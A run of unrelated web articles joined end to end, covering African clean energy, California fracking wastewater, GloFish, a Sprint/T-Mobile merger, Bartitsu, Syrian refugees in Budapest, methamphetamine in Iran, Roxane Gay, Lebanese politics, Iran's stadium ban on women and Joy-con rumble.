Bank officials said the huge undertaking was possible in part because of commitments from a $100 billion annual fund pledged by wealthy countries to fight climate change. The World Bank Group has pledged $16 billion to pay for low-carbon energy development for the continent, and France and Germany have promised billions of dollars for clean energy.
By funding clean-energy projects, the initiative would hasten the delivery of electric power to impoverished areas while allowing many African states to jump directly to advanced clean-energy technology rather than building power plants that burn fossil fuels, backers of the project said. At the same time, the projects will help reduce emissions of greenhouse-gas pollutants blamed for climate change.
World Bank Group President Jim Yong Ki, in announcing new funding for African energy projects last week, described sub-Saharan Africa as “highly vulnerable to climate shocks,” with potential impacts ranging from increases in malaria epidemics to famine.
[How climate change could worsen the threat from tropical disease]
Adesina, in announcing the initiative, suggested that Western countries were morally obligated to help finance the continent’s energy transition, noting that Africa emits less carbon pollution than the rest of the world while also bearing the brunt of the impacts of climate change.
“Africa suffers more from the scorching heat from rising temperatures, he said. “Droughts are now more frequent and with greater intensity than ever before.”
Adding 300 gigawatts of clean-energy capacity in 15 years will require martialing resources on an unprecedented scale, but Adesina said he believed the target could be met and even exceeded.
“We must not have low ambitions for Africa,” he said.Adding to the already lengthy list of reasons to be concerned about the disposal of oil industry wastewater in California, the Center for Biological Diversity says it has found dangerous levels of toxic and carcinogenic chemicals such as benzene and toluene in fracking flowback.
Flowback is a fluid that floats up to the surface of fracked wells that contains clays, dissolved metal ions and total dissolved solids (such as salt) in addition to chemical additives used in the fracking process.
As such, flowback is a component of oil industry wastewater, and one of the chief reasons why the wastewater must be disposed of in a very cautious manner.
In California, where the toxic and cancer-causing chemicals were found to be present in flowback by the CBD, oil industry wastewater is not, unfortunately, disposed of in a cautious manner.
The most common wastewater disposal method is to inject it underground. It was recently revealed that California regulators have allowed hundreds of injection wells to pump wastewater into aquifers protected under the federal Safe Drinking Water Act. Regulators also permitted thousands more wells to inject fluids from “enhanced oil recovery” techniques like acidization and cyclic steam injection into protected aquifers.
Wastewater is also sometimes stored in pits, but again, California regulators have failed to enforce proper safeguards. Clean Water Action released a report last year detailing the threat to California's air and water from the open, unlined pits used to store much of the oil industry's toxic wastewater. According to the report, at least 432 of these pits are currently in use in California, most of them operating with an expired permit or no permit at all.
“Cancer-causing chemicals are surfacing in fracking flowback fluid just as we learn that the California oil industry is disposing of wastewater in hundreds of illegal disposal wells and open pits,” said Hollin Kretzmann, the CBD lawyer who conducted the analysis. “Gov. Brown needs to shut down all the illegal wells immediately and ban fracking to fight this devastating threat to California’s water supply.”
It wasn’t just the chemicals Kretzmann found in fracking flowback that are a cause for concern, either. Laxe enforcement of reporting rules make it hard to determine the true extent of the problem, though the CBD still found enough to raise serious questions about the threats flowback fluid poses to public health:
• High chromium-6 levels: Chromium-6 was found in fracking flowback at levels up to 2,700 times the recommended level set by the Office of Environmental Health Hazard Assessment.
• Missing reports: At least 100 fracking flowback tests are missing from the reporting website managed by California’s Division of Oil, Gas and Geothermal Resources, in violation of state law.
• Missing benzene data: Only 329 of the 479 fracking fluid chemical tests on the state oil agency’s website measured for benzene.
*bull; Benzene common: Of those 329 chemical tests that measured for benzene, 323 detected benzene while only six did not.
• Dangerous toluene levels: Toluene, a toxin that can affect the central nervous system and harm developing fetuses, was found to exceed federal-mandated limits for drinking water 118 times.
In some cases, benzene levels in fracking flowback were over 1,500 times the level the federal government says is safe for drinking water. Both chromium-6 and benzene are known carcinogens.
California is the country’s third-largest oil producing state, with some 20% of its oil production coming from fracked wells, according to a recent study that also found that half of all new wells drilled in the past decade use fracking.
Image Credit: Calin Tatu / Shutterstock.comBack in 2003, biotech company Yorktown Technologies developed a genetically modified fluorescent fish that was neon-bright and glowed in the dark under black light. Since that time, the company has sold millions of these "GloFish," which have made their way into various living room aquariums and sushi bars. But now it appears that they may be ending up somewhere else — namely our oceans, lakes, and rivers. And needless to say, a number of scientists are saying this is not a good thing.
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The concern is with one of the GloFish in particular, the Electric Green Tetra. It's a modified black tetra fish capable of living in freshwater. But as Adrianne Appel of the Washington Post reports, this one is not like the others:
The two GloFish are very different, however, in what environmentalists and some experts say is a crucial way: The heat-loving zebra fish is from southern Asia and can't survive long in cooler U.S. waters; thus, the Food and Drug Administration has ruled that there would be little threat of invasion of U.S. waterways if it were released from home aquariums. But the black tetra is native to South America and likely to be happy making a splash in the inland waterways of South Florida and Latin America. In South Florida, the modified black tetras could upset an environment already burdened with 30 types of nonnative fish. In South America, they could mean an undesirable interference in natural biodiversity. "My worry is that they'll be such a novelty that they will be imported back to [South America] and kids will let them go and they'll start interbreeding with fish whose genomes are very similar,'' said Barry Chernoff, a freshwater fish biologist and chair of the environmental studies program at Wesleyan University in Middletown, Conn. "We would see the spreading of the fluorescent coral gene in the native fish.''
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At the same time, though, the neon GloFish may actually be a rather poor adaptation. A 2011 study by Jeffrey Hill found that largemouth bass and mosquito fish in Florida ate twice as many red GloFish as regular zebra fish when they were all put in tanks together.
Sometimes in nature, it doesn't pay to stand out.
Read more.
Images via GloFish.com.With Sprint continuing to shed subscribers and its brand losing more and more steam with each passing quarter, it looks like owner SoftBank will take advantage of T-Mobile’s momentum in the event that the companies’ much-rumored merger is approved by regulators.
According to a recent report from CNBC, Sprint will finally announce its intention to acquire T-Mobile sometime in July or August. The companies have apparently agreed on a massive $2 billion break-up fee that will be paid to T-Mobile if the deal doesn’t go through, and Deutsche Telekom will retain some ownership of the merged company if the deal is approved.
Interestingly, CNBC reports that the merged entity will lose the “Sprint” brand and instead use the T-Mobile name moving forward. The move would be quite atypical considering Sprint is acquiring T-Mobile, but there is no question that the Sprint brand is suffering right now while T-Mobile is thriving.
“Something I’ve talked about so many times and something we’re fairly certain of is going to come to pass which is if, in fact, this deal does get announced, the plan is that T-Mobile would be the brand they go with,” David Faber reported. “And John Ledger’s management team would be in charge.”
According to earlier reports, the deal will be worth around $32 billion.Bartitsu is an eclectic martial art and self-defence method originally developed in England during the years 1898–1902, combining elements of boxing, jujitsu, cane fighting, and French kickboxing (savate). In 1903, it was immortalised (as "baritsu") by Sir Arthur Conan Doyle, author of the Sherlock Holmes mystery stories.[1] Although dormant throughout most of the 20th century, Bartitsu has been experiencing a revival since 2002.
History [ edit ]
In 1898, Edward William Barton-Wright, a British engineer who had spent the previous three years living in Japan, returned to England and announced the formation of a "New Art of Self Defence".[2] This art, he claimed, combined the best elements of a range of fighting styles into a unified whole, which he had named Bartitsu. Barton-Wright had previously also studied "boxing, wrestling, fencing, savate and the use of the stiletto under recognised masters", reportedly testing his skills by "engaging toughs (street fighters) until (he) was satisfied in their application." He defined Bartitsu as meaning "self defence in all its forms"; the word was a portmanteau of his own surname and of "Jujitsu".[3]
As detailed in a series of articles Barton-Wright produced for Pearson's Magazine between 1899 and 1901, Bartitsu was largely drawn from the Shinden Fudo Ryu jujutsu of Terajima Kuniichiro (not to be confused with the SFR taijutsu associated with the Bujinkan lineage) and from Kodokan judo. As it became established in London, the art expanded to incorporate combat techniques from other jujutsu styles as well as from British boxing, Swiss schwingen, French savate and a defensive la canne (stick fighting) style that had been developed by Pierre Vigny of Switzerland. Bartitsu also included a comprehensive physical culture training system.
In his notes for a lecture delivered to the Japan Society of London in 1901, Barton-Wright wrote:[4]
Under Bartitsu is included boxing, or the use of the fist as a hitting medium, the use of the feet both in an offensive and defensive sense, the use of the walking stick as a means of self-defence. Judo and jujitsu, which are secret styles of Japanese wrestling, (I) would call close play as applied to self-defence. In order to ensure, as far as it is possible, immunity against injury in cowardly attacks or quarrels, (one) must understand boxing in order to thoroughly appreciate the danger and rapidity of a well-directed blow, and the particular parts of the body which are scientifically attacked. The same, of course, applies to the use of the foot or the stick. Judo and jujitsu were not designed as primary means of attack and defence against a boxer or a man who kicks you, but are only to be used after coming to close quarters, and in order to get to close quarters it is absolutely necessary to understand boxing and the use of the foot.
Bartitsu Club [ edit ]
Between 1899 and 1902, Barton-Wright set about publicizing his art through magazine articles, interviews and a series of demonstrations or "assaults at arms" at various London venues. He established a school called the Bartitsu Academy of Arms and Physical Culture, known informally as the Bartitsu Club, which was located at 67b Shaftesbury Avenue in Soho. In an article for Sandow's Magazine of Physical Culture vol. 6, (January 1901), journalist Mary Nugent described the Bartitsu Club as "... a huge subterranean hall, all glittering, white-tiled walls, and electric light, with 'champions' prowling around it like tigers."[5][6]
Via correspondence with Professor Jigoro Kano, the founder of Kodok |
when they arrived, the manager turned them away because they didn’t have papers.
It took them 20 days to get to Hungary, where they spent four days trapped at the station, filthy and depressed. “We can only wash in the streets, our hands and faces,” says Majd. “I used to shower twice a day.”
In the early days of the war he worked as a volunteer for the Red Cross, helping refugees within Syria fleeing violence elsewhere. So he knew the trip would be tough and exhausting, but was determined to survive, prosper and eventually move back home.
“I want to be a professor, I want to come back to my country and teach people, and I want to be a reformer, help people to be educated.”
Facebook Twitter Pinterest Mary Al Aboud, 33, and her children (left to right) Jena, four, Muhammad, five, Rua, two, and Nada 10. Photograph: Antonio Olmos for the Observer
‘When my babies hear planes, they are frightened’
In a life she can barely remember, Mary al-Aboud taught English at a primary school in the Syrian city of Deir Ezzor before the war. On her mobile phone, she shows a video of the bomb that flattened her home and killed her husband.
“It’s just me and my babies now,” she says as four young children play around her legs.
They have been on the road for about 50 exhausting days, she estimates, after finally deciding to flee their home this summer as Isis closed in. Mary and her children are trying to join her brother, already in Germany, whom she describes as “the only person I have left”.
He has sent what money he can to cover the costs of their journey, but it is never enough. Mary has the gaunt look of a mother who has gone without to feed her kids. For days, they have eaten little but bread and the odd tin of fish.
They have only the clothes they stand up in and Mary races to a queue of handouts in the hope of finding jackets or blankets to protect the family from the creeping chill of autumn evenings.
She is juggling a sheaf of worries about her children; some pressing, others less immediate but more disturbing to a mother.
Two-year-old Rua needs shoes, after hers went missing in the Hungarian camp where they were briefly detained and fingerprinted. Muhammad, five, needs to see a doctor after a bomb that exploded too close to his young ears left him permanently deaf.
Her oldest, Nada, 10, has not been to school for two years. She was a good student and should have graduated from sixth grade, but the schools closed after she finished fourth grade.
And all of them are still living with the trauma of the war they fled, even in the difficult but safe forecourt of the Budapest train station. “When my babies hear any plane go overhead, even here they are frightened,” says Mary.
Facebook Twitter Pinterest Haji Ahmed Yusuf, 62, a Kurd from Syria. Photograph: Antonio Olmos for the Observer
‘The war steals every dream, and they stole my home’
Haji Ahmed Yousef found out on a television news broadcast that his house in the village of Afrin had been flattened by a bomb. When the dust settled, his family were left with little more than their memories, and the tiny handful of possessions they managed to carry into exile.
The Kurdish cobbler, 62, had built the three-bedroom home soon after he married and his children were born and brought up there: “The war steals every dream, and they stole my home as well,” he said. The journey to Hungary has been hard for him. Most of his teeth are missing, so he struggles to chew the biscuits and dry bread often handed out to refugees without money to buy food.
Some of the journeys lasted for hours in the darkness, up and down hills. “Every step I wanted to give up. I called out to God to help me and somehow I kept going,” he said.
The family fled Syria three years ago, as the fighting swept towards their village and cut off the children’s education. Without schools, there was little reason to brave the bombs and so they headed to Turkey.
There they saved to pay for travel to somewhere the children could take up their studies again. Yousef’s youngest son missed out on most of his high school, and his 19-year-old daughter wants to finish business school and still dreams of founding her own company.
His oldest son left for Germany 18 months ago, and Yousef’s hopes are pinned on seeing him again, but for now he was just hoping to leave the camp where he has been sleeping in the open for five nights. The tents are for women and children, a rule that is never broken – even for the old.
“If we stay here, we will die from cold or other things. There are eight small toilets for hundreds of people. Our women are too afraid to even go there.”
They had no choice except to wait, because the $600 per person that smugglers were demanding was far beyond the small cash reserves that they had managed to hang on to through the journey. “We cannot pay that much.”
Facebook Twitter Pinterest Hussain Behbudi, 33, and his daughter Arezu, four (far left), with travelling companion Mehdi Hosseini, 18, and his daughter Afsana, 18 months. Photograph: Antonio Olmos for the Observer
‘I worry what will happen to my children in Germany’
Hussain Behbudi, 33, is adrift in a sea of worries. He has only €250 (£165) left to feed his family until they reach Germany and he cannot work out how to get them out of Hungary now that trains are closed to refugees.
After five months on the road, the family’s diminished funds would not cover smugglers’ fees to get even one of the group he is travelling with over the last two borders they want to cross.
They were already at the station when Hungary briefly lifted all travel restrictions at the start of the week and spent hundreds of euros on train tickets. But the crush to board the trains was, they decided, too dangerous for the seven young children travelling with them – several had already been injured along their journey.
Now dispirited and listless, the nine adults eat one meal a day to eke out funds, subsisting on donated biscuits and fruit the rest of the time, trying to avoid too many visits to the handful of stinking portable lavatories serving hundreds of people.
Still, Behbudi counts small blessings such as the tent and inflatable mattress he bought from a fellow Afghan refugee who made it on to a train heading for Germany. “I feel really sorry for the people around us. They are just sleeping on cardboard, nothing to keep them warm.”
Behbudi has the slightly distracted air of a bookish academic, but his appearance belies a life of insecurity that left little time for education.
This journey to Europe is his second flight into asylum. As a child, his family were driven by civil war to Iran, where he grew up but was barred from schools and struggled to find work, so eventually he returned to Afghanistan’s Maidan Wardak province to marry and start a family.
Escalating violence from Taliban and local ethnic conflicts convinced him that risking everything to leave was better for his four-year-old daughter, Arezu, than staying, even though he is far less optimistic about life in Germany – if they make it – than many others waiting at the station.
“I worry about what will happen to my children in Germany,” he says.
Perhaps because of his experiences in Iran, a country where Afghan refugees are treated as second-class citizens, he knows there are other demons that could still shadow his children’s lives.
Facebook Twitter Pinterest Haythem, 25, a semi-professional footballer from Damascus. Photograph: Antonio Olmos for the Observer
‘Our dream is just that they let us out of Hungary’
Haythem, 25, didn’t want to give his last name because of concern for relatives still in Syria. He played semi-professional football and sold mobile phones in Damascus before war ripped his life apart. He earned only 1,000 lira a month, a few pounds, for the matches but loved playing in front of the few hundred people who turned up.
But he was ambitious and wanted a better life than sports or sales would bring, so he had also started a law degree. His main hope for Europe is that he will be able to study again, once he has learned the language of any country that will offer him a home.
“I miss college and all my family hanging out together,” he said. He last saw his mother two years ago, before she fled to Jordan with his two brothers. Haythem wanted to stay and finish his studies, and when war put a final stop to classes, after he finished his third year, the border
was no longer easy to cross. “I got close but couldn’t go over,” he said.
So instead, he set off for Europe in a group of six, with about $8,000 to pay for the journey of a brother, sister-in-law, nephew, cousin and friend, a trek that has lasted a month and a half already. Much of the cash came from savings.
In Turkey, they slept on the streets, waiting for a smugglers’ boat that had a faulty engine and started drifting part-way into the perilous crossing. A trip that should have taken a few hours dragged on for 13, with the children terrified and crying.
They are down to their last $400 and have not had a shower or a night in a proper bed since they left home. “Sometimes, when they are very hungry, we have to spend money on food for the children,” Haythem says, but they spend nothing else.
Otherwise they try to save their cash, worried about how they will pay for the last leg of their journey. They have already abandoned original plans to go to Holland, because it is further and more expensive, and are heading for Germany instead.
“We don’t want anything, no food, no money. Our dream is just that they open the doors and let us out of Hungary.”
Facebook Twitter Pinterest Golezar Sidour, 33, who is five months pregnant. Photograph: Antonio Olmos for the Observer
‘I would rather die on the road than live here’
Golezar Sidour earned some money doing piecework tailoring at home in Aleppo, before her marriage to Omar, a taxi driver, brought children and life as a full-time mother. The family lived in a third-floor flat with two bedrooms. Not rich, but comfortable.
Their daughter, Vian,was born soon after civil war broke out but the Sidour family thought they could wait out the conflict, preferring to risk violence at home than hopeless years stuck in a refugee camp in someone else’s country.
Then, earlier this year, a piece of shrapnel caught their oldest son, seven-year-old Hassan, as he played in the street. They buried him in Syria and decided for the sake of their other children that they had to leave.
Golezar was already pregnant and had her only checkup before crossing the first of more borders than she can remember, all of them on foot.
They have slept outside most nights, once camping in a kindergarten that Serbian authorities left open, and once not sleeping at all so they could make a seven-hour night-time hike through the forest between Bulgaria and Serbia.
Now five months along and with a growing bump, she is desperate to escape Keleti station and is frustrated that the family missed the march to Austria because they were sleeping when the group of hundreds set off.
“I would rather walk, and die on the road, than live here,” Sidour says, on only her second day at the increasingly filthy and crowded plaza that has become a make-shift refugee camp. “They give us food and drink but we are frightened that people will come and attack us,” she says, just a couple of hours after far-right football hooligans threw firecrackers into the encampment and scuffled with some of the younger men.
They are also worried about the cold already setting in at night. Clothes and blankets handed out by local charity volunteers are helping for now, but the children haven’t been able to wash properly for over a week, there are no toilets and her four-year-old son, Alton, keeps falling ill.
“Winter is coming, and the children will be sick,” she said, as part of their travelling group scuffled to secure one of a few bananas being handed out. “Without my children, my life is nothing.”
Facebook Twitter Pinterest Yousef Rayd, 26, who was caught in two explosions. Photograph: Antonio Olmos for the Observer
‘I walked on crutches from Mosul to flee Isis’
Yousef Rayd, 26, hobbled across Turkey and up through the Balkans on crutches, trying not to disturb the bandages and pins holding his lacerated left leg together.
Both legs were already covered with a spiderweb of scars from a car bombing three years ago when he was hit by another explosion earlier this year.
All his energy has been required for the physical act of putting one foot in front of the other on his journey across Europe, so he has travelled with nothing except the black shorts and T-shirt he is wearing, and his two crutches.
He is trying to reach Vienna, where two brothers, his only sister and his mother have already claimed asylum. The family decided to leave the northern Iraqi city of Mosul three months ago, after enduring months of harsh rule by Islamic State.
They feared his sister would be forcibly married to one of the group’s fighters, a common concern of refugees from areas controlled by the extremist group. Although Muslim women are not sold into sexual slavery like members of the minority Yazidi sect, they have little choice if an Isis soldier asks for a marriage.
Isis control of hospitals and medical supplies also made it impossible for him to get proper treatment. He was separated from his family on the journey, and was informally adopted by another Syrian family, moved by his injury. His only goal for now is to rejoin his family and get proper medical attention for his shattered leg, so he can look for work.
Facebook Twitter Pinterest Hadisseh Hosseini, 11, who wants to be a doctor. Photograph: Antonio Olmos for the Observer
‘There were attacks all the time – we had to flee’
Hadisseh Hosseini, 11, wants to get to Germany so she can return to school and fulfil her ambition to be a heart doctor.
She is cradling a Snow White doll that a volunteer handed out at Keleti station as if it were the most valuable thing in the world.
The family decided to leave Herat, in Afghanistan, because of worsening violence and the fear that extremists might target the school Hadisseh attended.
“There were more attacks all the time,” said her mother Somaye. And so in the holy month of Ramadan she, her husband, a labourer, and their four children set offon a trek through Iran, Turkey and the Balkans that would come to a grinding halt in Keleti.Women in headscarves and men in tatty clothes puff on a glass pipe as smoke swirls around their faces. The pictures published by Iranian media and blogs in recent months are a sign of a new drug epidemic: shishe, or methamphetamine.
Shishe means “glass” in Farsi, a reference to the appearance of the drug in some of its purest forms.
In less than a decade, methamphetamine use has skyrocketed in Iran to the point where now about 345,000 Iranians are considered addicts, according to official statistics.
Seizures of methamphetamine soared 128 percent between 2008 and 2012, topping all other countries in the region, according to figures compiled by the United Nations Office on Drugs and Crime. Last year alone, the government of Iran confiscated 3.6 tons of shishe.
A top official from the Iran Drug Control Headquarters said last year that shishe could be found in Tehran in “less than five minutes,” according to the Iranian Students’ News Agency.
Shishe addicts in Iran are mostly urban, middle class and young, experts say. Notably, there are a large number of women who abuse shishe, too.
One of the main reasons why shishe use has spread quickly in Iran is a lack of information about the drug, which has led casual users to believe, erroneously, that it is not addictive, experts say.
Struggling university students have begun abusing it to stay up longer and try to boost their performance in school. Women have been sold the drug in beauty salons with the promise that it will help them lose weight, according to local media reports.
“We really had a hard time convincing people that this is addiction,” said Azaraksh Mokri, a psychiatrist who teaches at the Tehran University of Medical Sciences and has dealt extensively with the issue of shishe addiction.
Opium addiction has long been a problem in Iran partly because of a tolerance for its use even in conservative rural areas, and also because of the country’s long border with Afghanistan, for decades one of the top opium producers. Opium is still the most abused drug in Iran, according to official statistics.
Shishe began to make inroads in the country about a decade ago, luring users who preferred its effects as a stimulant to the more soporific opium, which was seen as a drug of the poor and elderly.
That shift has been characterized as a change between drugs which are known as sonati, or traditional, and those that are sanaati, or manufactured, according to local media.
The use of shishe was partly driven by increased development in the country and more complicated and faster-paced lifestyles, experts say.
Initially, the drug was imported but it later began to be produced locally. UNODC figures show that the domestic use of pseudoephedrine, one of the key ingredients for making shishe, jumped from five tons in 2006 to 55 tons in 2012.
Drug use and addiction is so prevalent in Iran that it is the second highest cause of death in the country after traffic accidents, a senior official from the Iran Drug Control Headquarters said in early November, according to the Islamic Republic News Agency.
Iran has some of the harshest drug laws in the region, regularly executing smugglers and drug peddlers. At the same time, the country has had a degree of success in the treatment of addiction, experts say.
“Shishe is something that in a short time, in comparison to other things, has very severe effects on behavior,” said Said Kafrashi, an advisory physician and therapist at the Aayandeh addiction rehabilitation clinic in Tehran.
The clinic often tries to bring families of shishe addicts into the rehabilitation process in order to examine all the social factors that may have led to the drug use.
“The family plays a role here,” said Kafrashi. “In light of the individual’s behavior, the family needs to change their behavior too.”
Still, despite some success in the treatment of shishe addiction, Iran’s battle with the drug is far from over.
“We need to do something so that they don’t die, don’t kill themselves, don’t kill others, and don’t get psychosis so they can mature out and get out,” said Mokri.Hang on for a minute...we're trying to find some more stories you might like. Close
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Writer, essayist, professor and cultural critic Roxane Gay, author of “Bad Feminist,” brought advice, commentary and a plethora of Channing Tatum facts to two events last Thursday as part of the Hughlene Bostian Visiting Writers Series.
“When I read Roxane Gay’s writing, I often feel that she is doing the work of [a] therapist – boldly and compassionately helping us to confront what is most painful in our collective cultural lives so that we can see it up close and learn to live through it,” said series co-curator Kirsten Jorgenson in her introduction at both events.
Gay’s afternoon craft talk consisted of a casual, Q&A-style conversation with the audience, which covered topics ranging from her love of pop culture to her academic history and her process of character development.
“I write like an outsider because I feel like an outsider,” Gay said in response to a question posed by an audience member.
In general, all of the writers that the series has helped to bring to campus this year are actively pushing against the boundaries of their genres, questioning preconceived or static imaginations of form, said Nathan Hauke, co-curator of the series.
Later that night, she read selections from her novel “An Untamed State” as well as essays from her New York Times bestseller “Bad Feminist.”
The university had Gay booked to appear for a little more than a year ago, before “Bad Feminist” was released in August and skyrocketed the author to the bestsellers list.
Assistant professor Stephanie Troutman teaches a Women’s Studies class on Black Feminism, and uses Gay’s work in the classroom. She attended the day’s events, and joined Gay for dinner with a group of English department faculty, students from her Black Feminism class and her 12-year-old daughter, who said she was charmed and inspired by Gay’s confidence and humor.
Gay’s visit fell on the same day as a rumored neo-Nazi rally on campus. Though purely coincidental, Troutman said she thinks the timing was good.
“It was great to see some students use her visit as an opportunity to engage with outside, non-Appalachian/non-ASU, perspectives on race/racial and gender/sexuality issues,” she said. “And the more we see race, gender and sexuality issues arise on campus and in the local environment the more we should invest in and prioritize bringing multi-faceted folks of color like Dr. Gay to campus.”
Gay addressed issues of social privilege in her talks, a topic she covers in “Bad Feminist” and throughout her active social media presence.
“I think it’s hard to talk about privilege because when we do people often feel accused of something, like they’ve been accused of being privileged and that they somehow have to pay for it and apologize,” Gay said in an interview. “I think we have to approach these things in ways that don’t make people feel defensive and don’t treat privilege as a weapon. If you’re at a university, I don’t care what race you are, you’re privileged because you’re getting a college education.”
Gay recommends framing the conversation in a way that allows for different experiences.
“We can’t heal what we can’t see and Roxane Gay makes sure that our most difficult issues, like the rape culture we’ve created or our systematic racism, come to light in all their complexity,” Jorgenson said at the event.
Story: Lovey Cooper, Senior A&E Reporter
Photo: Courtesy of Roxane GayLebanon's former prime minister, Saad al-Hariri, on Thursday backed Michel Aoun, his former political foe and an ally of Hezbollah, to become the country’s president in a move which could help resolve the country's political deadlock.
"I announce today before you my decision to endorse the candidacy of General Michel Aoun for the presidency of the republic," Hariri said in a televised speech.
"This decision comes from the need to protect Lebanon and the state and the people... but it is a decision that depends on agreement," Hariri said.
Political sources within Lebanon have speculated that Hariri could become prime minister again under the plan, although it has drawn opposition from members of his own party, according to Reuters.
The presidency, which is reserved for a Maronite Christian in the country's sectarian power-sharing arrangement, has been vacant for two and a half years due to political conflicts.
According to a 1943 pact, the prime minister must be a Sunni Muslim and the speaker of parliament a Shia Muslim.
Aoun, a veteran politician in his 80s, has long coveted the post of president, which is essentially a figurehead position because any decisions must be approved by both the parliament and prime minister.
It was not immediately clear if Aoun's candidacy would enjoy enough backing among other politicians to secure a quorum of parliament members, two-thirds of the 128-seat legislative body.
The next scheduled parliamentary session to elect a president is set for 31 October. The parliament has had 32 failed attempts at appointing a president since the end of Michel Suleiman's term in May 2014.
Aoun is a former army chief who held the post of an interim prime minister in 1989 towards the end of the Lebanese civil war. His cabinet was contested by the government of then-Syrian-backed prime minister Selim Hoss. With the support of Iraq's Saddam Hussein, he declared war against Syrian troops in the country, but his forces were defeated and he was forced into exile in France.
He returned to Lebanon in 2005 and forged an unlikely alliance with Hezbollah.
Opponents of Aoun's candidacy this time around include Parliament Speaker Nabih Berri, head of the Shia Amal Movement and a close ally of Hezbollah, which is backing the former general.
Berri warned that accepting Aoun for the position could lead to a “civil war” - a potent phrase for a country which suffered 15 years of bloody internecine strife between 1975 and 1990 which claimed an estimated 250,000 lives. He warned of “severe consequences that threaten coexistence".
Hariri, 46, has led the "March 14" alliance against Hezbollah and its allies since the 2005 assassination of his father and then prime minister Rafik al-Hariri.
He remains a fierce critic of Hezbollah, which is fighting in Syria in support of President Bashar al-Assad.
He led the mostly Sunni Future Movement (FM) party to election victory in 2009 and served as prime minister. But in January 2011 his government was overcome by a Hezbollah-led alliance that quit his cabinet and forced him to resign. Since then, he has spent most of his time abroad.
The latest proposal, unthinkable until recently, casts new light on the predicament facing Hariri, whose standing as Lebanon's most influential Sunni politician has been shaken by a financial crisis at his Saudi-based construction business.
Saudi Oger has been hit hard by falling oil prices and cuts in Saudi state spending, laying off more than 1,300 workers late last month after it lost the government contract to run the world’s largest Quran-printing press.
The troubles have led to a cash crunch for the Future Movement and speculation that financial woes have forced Hariri to recalibrate his relationship with Hezbollah.
Diplomats also say Hariri has fallen from favour within Saudi Arabia, which these days cares far more about confronting Iranian influence in the Gulf and Syria than about Lebanon.
Observers suggest that Riyadh cut off funding for Hariri last year amid a perceived failure to halt Hezbollah leader Hassan Nasrallah’s vitriolic public tirades against Saudi Arabia.
Hariri’s intention to back Aoun, a known ally of Hezbollah, could be a further symptom of an apparent shift in Saudi foreign policy, which has seen Riyadh halt a $3bn funding package to the Lebanese army after Beirut failed to condemn attacks on Saudi diplomatic missions in Iran.Syrian women are allowed into stadium but Iranian women are kept out, despite initially being allowed to buy tickets
Female Iranian MPs have spoken out against a ban on women entering sports stadiums after some fans were prevented from watching a World Cup qualifying match in Tehran between Iran and Syria.
Both genders were initially allowed to purchase tickets for Tuesday night’s game, but the option for women to make purchases was removed by officials who blamed a “technical glitch”.
A group of women who went to Tehran’s gigantic Azadi stadium were told they could not enter. When they started demonstrating they were threatened with arrest.
Female Syria supporters were allowed to enter and cheer for their team. Some did not wear a hijab even though it is compulsory for all women in Iran, including foreigners.
The ban dominated some of the newspaper front pages in Tehran on Wednesday. “An Iranian paradox,” read the headline of the Bahar newspaper, which complained that “the host was left outside behind the doors, while the guest went inside the stadium”. An image of Syrian fans carried by Bahar’s front page was juxtaposed with another image showing Iranian women protesting outside.
Facebook Twitter Pinterest Bahar newspaper shows Syrian women inside the stadium, and Iranian women protesting outside it
Iranian women are allowed to watch women’s football matches, but not matches played by men. Although women in Iran have been fighting for an end to the discriminatory rules for some years, it was the first time national newspapers have given the issue prominent coverage.
A number of female MPs called for a change in the practice. One, Fatemeh Hosseini, said she was planning to summon the sports minister to question him about the ban. “What would you do to end this discrimination?” she asked the minister on her Twitter account.
Nahid Tajedin, a reformist MP from Isfahan, tweeted: “The most deplorable part of yesterday’s match at Azadi stadium is that a new discrimination based on your nationality is being added to the gender discrimination already in place. Syrian women were allowed but Iranian women were absent.”
Farnaz, a 24-year-old student of electrical engineering at Isfahan University of Technology, said she had made a seven-hour bus journey from her city to Tehran to watch the match. She said that in April she had managed to enter the Azadi stadium disguised as a male fan to cheer for her favourite club, Persepolis.
Facebook Twitter Pinterest Iranian women protesting outside the stadium
“I didn’t want to stay at home and do nothing. I wanted to at least protest,” she told the Guardian by phone from Isfahan. “I printed a banner, which the guards confiscated from me in the most brutal manner.” A picture taken outside the stadium shows her face painted with an Iranian flag, as she holds up a placard that reads: “I, too, want a seat at Azadi – let women in.” Azadi means freedom in Farsi.
Shiva Nazar-Ahari, a prominent women’s rights campaigner previously imprisoned for her activism, said around 20 women had protested outside the stadium. She said she had bought two tickets earlier in the week, each priced at 15,000 rials (around £3).
“We were hopeful that they would let us in. We queued up for two hours. They said they needed to check if they could let us in, and at times we thought they were going to do so, and we saw Syrian female fans passing through without a problem, and then they said: ‘No, you can’t enter,’” she said by phone. “It was a very bitter experience. I was close to tears – never before have I felt so defeated and humiliated.”
Tuesday’s game ended 2-2, keeping Syrian hopes alive for reaching the World Cup finals in Russia next year.
Iran, which has already secured its place in the finals, is a staunch supporter of Bashar al-Assad’s regime. One user on social media joked: “The guards will struggle to decide which team to support.”Alpha_eX said: The demo that blew my mind was the marble box.
Imagine you are holding a small wooden box, with x amount of marbles inside. As you move the box, you can feel them move and clack against each other.
The Joy-con can emulate this feeling incredibly well, I was able clearly feel three separate marbles rolling down the side of the Joy-con and then each hitting each other as they got to the bottom.
The 1-2-Switch marble box mini game asks you to guess how many marbles are in your joycon by moving it. Pretty much every time I could guess, even when there were 6-7 in there.
That was special, it even gave a false sense of weight due to the rumbles. I really like the tech.
The ice cube thing is legit. Click to expand...
Alpha_eX said: More on the marble thing. At one point I had a single marble in the Joy-con, I was able to slowly roll.it around inside and clearly feel it in every area.
It was a strange sensation to hold the marble dead in the center, with a lot of balance! You'd could even feel the marble gain momentum as you tilted the Joy-con.
Only think missing is the clack sound because no speaker, but you really can feel it.
Genuine mind blown. I played that demo a lot. Click to expand...
